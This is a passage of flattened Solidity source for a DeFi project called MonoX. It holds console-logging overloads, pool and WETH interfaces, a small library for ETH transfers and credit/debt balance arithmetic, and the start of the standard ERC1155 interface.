function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
interface IMonoXPool is IERC1155 {
function mint (address account, uint256 id, uint256 amount) external;
function burn (address account, uint256 id, uint256 amount) external;
function totalSupplyOf(uint256 pid) external view returns (uint256);
function depositWETH(uint256 amount) external;
function withdrawWETH(uint256 amount) external;
function safeTransferETH(address to, uint amount) external;
function safeTransferERC20Token(address token, address to, uint256 amount) external;
function WETH() external view returns (address);
function liquidityLastAddedOf(uint256 pid, address account) external view returns(uint256);
function topLPHolderOf(uint256 pid) external view returns (address);
function mintLp(address account, uint256 id, uint256 amount, bool _isOfficial) external;
function setWhitelist(address _whitelister, bool _isWhitelister) external;
}
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
library MonoXLibrary {
using SafeMath for uint;
// from https://github.com/Uniswap/uniswap-lib/blob/master/contracts/libraries/TransferHelper.sol
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
// util func to manipulate vcash balance
function vcashBalanceAdd (uint256 _credit, uint256 _debt,
uint256 delta) internal pure returns (uint256 _newCredit, uint256 _newDebt) {
if(_debt>0){
if(delta>_debt){
_newDebt = 0;
_newCredit = _credit.add(delta - _debt);
}else{
_newCredit = 0;
_newDebt = _debt - delta;
}
}else{
_newCredit = _credit.add(delta);
_newDebt = 0;
}
}
// util func to manipulate vcash balance
function vcashBalanceSub (uint256 _credit, uint256 _debt,
uint256 delta) internal pure returns (uint256 _newCredit, uint256 _newDebt) {
if(_credit>0){
if(delta>_credit){
_newCredit = 0;
_newDebt = delta - _credit;
}else{
_newCredit = _credit - delta;
_newDebt = 0;
}
}else{
_newCredit = 0;
_newDebt = _debt.add(delta);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
